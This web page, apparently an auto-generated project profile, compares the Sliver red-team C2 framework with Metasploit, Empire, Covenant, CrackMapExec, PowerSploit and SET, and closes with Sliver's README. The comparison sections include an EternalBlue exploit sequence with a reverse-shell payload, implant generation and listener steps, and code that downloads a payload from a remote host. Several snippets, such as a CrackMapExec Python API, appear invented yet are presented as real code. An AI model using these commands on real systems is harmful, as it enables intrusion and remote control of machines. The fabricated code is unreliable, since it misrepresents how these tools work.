Top Related Projects
Metasploit Framework
Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
Covenant is a collaborative .NET C2 framework for red teamers.
A swiss army knife for pentesting networks
PowerSploit - A PowerShell Post-Exploitation Framework
The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
Quick Overview
Sliver is an open-source, cross-platform adversary emulation/red team framework. It provides a powerful and flexible platform for offensive security professionals to conduct penetration testing and red team operations. Sliver supports various implant types and communication protocols, making it adaptable to different environments and scenarios.
Pros
- Cross-platform support (Windows, macOS, Linux)
- Extensive features for post-exploitation and lateral movement
- Active development and community support
- Highly customizable and extensible
Cons
- Steep learning curve for beginners
- Limited documentation compared to some commercial alternatives
- Potential for misuse if not handled responsibly
- Requires careful configuration to avoid detection by security tools
Getting Started
To get started with Sliver:
- Download the latest release from the GitHub repository.
- Extract the archive and run the Sliver server:
./sliver-server
- In the Sliver console, generate a new implant:
new --os windows --arch amd64 --format exe --save /path/to/implant.exe
- Start a listener:
http
- Execute the implant on the target system and wait for the connection in the Sliver console.
For more detailed instructions and advanced usage, refer to the official documentation on the GitHub repository.
Competitor Comparisons
Metasploit Framework
Pros of Metasploit-Framework
- Extensive library of exploits and modules
- Large community support and regular updates
- Well-documented and widely used in the industry
Cons of Metasploit-Framework
- Can be resource-intensive and slower to execute
- More complex to use for beginners
- Potentially easier to detect by antivirus software
Code Comparison
Metasploit-Framework (Ruby):
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
Sliver (Go):
generate --mtls 192.168.1.10 --os windows
implant --name win10 --os windows
use win10
shell
Sliver focuses on simplicity and stealth, while Metasploit-Framework offers a broader range of tools and exploits. Sliver's code is more concise and easier to use, but Metasploit-Framework provides more detailed control over exploits and payloads. Both tools have their strengths, with Metasploit-Framework being more comprehensive and Sliver being more lightweight and evasive.
Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
Pros of Empire
- More extensive PowerShell-based capabilities for Windows environments
- Larger community and longer development history
- Broader range of built-in modules and post-exploitation tools
Cons of Empire
- Less focus on cross-platform support compared to Sliver
- May be more easily detected by modern antivirus solutions
- Slower development pace and less frequent updates
Code Comparison
Empire (PowerShell-centric):
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.DownloadString("http://example.com/payload")
Sliver (Go-based, cross-platform):
client := &http.Client{}
req, _ := http.NewRequest("GET", "http://example.com/payload", nil)
req.Header.Set("User-Agent", "Mozilla/5.0")
resp, _ := client.Do(req)
Both Empire and Sliver are powerful post-exploitation frameworks, but they cater to different needs. Empire excels in Windows environments with its PowerShell focus, while Sliver offers better cross-platform support and modern evasion techniques. Empire has a larger module library, but Sliver's active development and Go-based architecture provide better performance and stealth. The choice between them depends on the specific requirements of the penetration testing or red team engagement.
Covenant is a collaborative .NET C2 framework for red teamers.
Pros of Covenant
- Built with .NET Core, offering cross-platform compatibility
- Extensive GUI for easier management and visualization
- Supports a wide range of built-in listeners and implants
Cons of Covenant
- Less actively maintained compared to Sliver
- May be more resource-intensive due to its GUI and .NET framework
- Potentially easier to detect due to its .NET-based implants
Code Comparison
Sliver (Go):
func (s *SliverServer) StartHTTPListener(port uint16) error {
s.httpServer = &http.Server{
Addr: fmt.Sprintf(":%d", port),
Handler: s.httpHandler(),
}
return s.httpServer.ListenAndServe()
}
Covenant (C#):
public async Task StartListener(int port)
{
var listener = new HttpListener();
listener.Prefixes.Add($"http://*:{port}/");
listener.Start();
while (true)
{
var context = await listener.GetContextAsync();
// Handle request
}
}
Both projects implement HTTP listeners, but Sliver uses Go's built-in HTTP server, while Covenant uses C#'s HttpListener class. Sliver's implementation is more concise, reflecting Go's simplicity, while Covenant's approach offers more granular control over the listening process.
A swiss army knife for pentesting networks
Pros of CrackMapExec
- Specialized for Windows/Active Directory environments
- Extensive built-in modules for various post-exploitation tasks
- Supports multiple protocols (SMB, WMI, MSSQL, etc.)
Cons of CrackMapExec
- Limited cross-platform support (primarily Windows-focused)
- Less flexible for custom payload development
- Requires more manual interaction compared to Sliver's automation capabilities
Code Comparison
CrackMapExec example:
from crackmapexec import CME
cme = CME(target='192.168.1.0/24', username='admin', password='password')
cme.enum_shares()
Sliver example:
func main() {
session := sliver.NewSession()
session.RunCommand("ls -la")
session.Upload("/path/to/file", "/remote/path")
}
Both tools offer powerful features for penetration testing and red team operations. CrackMapExec excels in Windows environments with its specialized modules, while Sliver provides a more versatile and cross-platform approach with its implant-based architecture. The choice between them depends on the specific requirements of the engagement and the target environment.
PowerSploit - A PowerShell Post-Exploitation Framework
Pros of PowerSploit
- Extensive collection of PowerShell-based post-exploitation tools
- Well-established and widely recognized in the security community
- Integrates seamlessly with existing PowerShell environments
Cons of PowerSploit
- Less actively maintained compared to Sliver
- Limited cross-platform support (primarily Windows-focused)
- May be more easily detected by modern antivirus solutions
Code Comparison
PowerSploit (PowerView module):
Get-NetDomain
Get-NetUser
Get-NetComputer
Invoke-UserHunter
Find-LocalAdminAccess
Sliver:
func (s *Server) GetSessions(ctx context.Context, req *clientpb.Sessions) (*clientpb.Sessions, error)
func (s *Server) NewSession(ctx context.Context, req *clientpb.Session) (*clientpb.Session, error)
func (s *Server) DeleteSession(ctx context.Context, req *clientpb.Session) (*commonpb.Empty, error)
PowerSploit focuses on PowerShell-based reconnaissance and exploitation, while Sliver provides a more comprehensive C2 framework with cross-platform support. PowerSploit's code is centered around Windows-specific enumeration, whereas Sliver's code demonstrates session management capabilities across different platforms.
The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
Pros of Social-Engineer-Toolkit
- Focused on social engineering attacks, providing a wide range of tools for phishing, spear-phishing, and other social engineering techniques
- User-friendly interface with menu-driven options, making it accessible for both beginners and experienced users
- Regularly updated with new attack vectors and techniques
Cons of Social-Engineer-Toolkit
- Limited in scope compared to Sliver, which offers a more comprehensive C2 framework
- Less flexibility in customizing payloads and post-exploitation modules
- Primarily designed for Linux systems, while Sliver supports multiple platforms
Code Comparison
Social-Engineer-Toolkit (Python):
# Main menu selection
if main_menu_choice == '1':
webattack_menu = create_menu(text.webattack_text, text.webattack_menu)
webattack_menu_choice = input(webattack_menu)
Sliver (Go):
// Command execution
func (s *Session) Execute(ctx context.Context, cmd string, args []string) ([]byte, error) {
data, err := s.Request(ctx, &sliverpb.ExecuteReq{
Request: &commonpb.Request{},
Path: cmd,
Args: args,
})
// ... (error handling and response processing)
}
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
Sliver
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
v1.6.0 / master
NOTE: You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the v1.5.x/master
branch.
Features
- Dynamic code generation
- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- Procedurally generated C2 over HTTP(S)
- DNS canary blue team detection
- Secure C2 over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using JavaScript/TypeScript or Python
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
- Much more!
Getting Started
Download the latest release and see the Sliver wiki for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
Linux One Liner
curl https://sliver.sh/install|sudo bash
and then run sliver
Help!
Please checkout the wiki, or start a GitHub discussion. We also tend to hang out in the #golang Slack channel on the Bloodhound Gang server.
Compile From Source
See the wiki.
Feedback
Please take a moment and fill out our survey
License - GPLv3
Sliver is licensed under GPLv3, some sub-components may have separate licenses. See their respective subdirectories in this project for details.
Top Related Projects
Metasploit Framework
Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
Covenant is a collaborative .NET C2 framework for red teamers.
A swiss army knife for pentesting networks
PowerSploit - A PowerShell Post-Exploitation Framework
The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot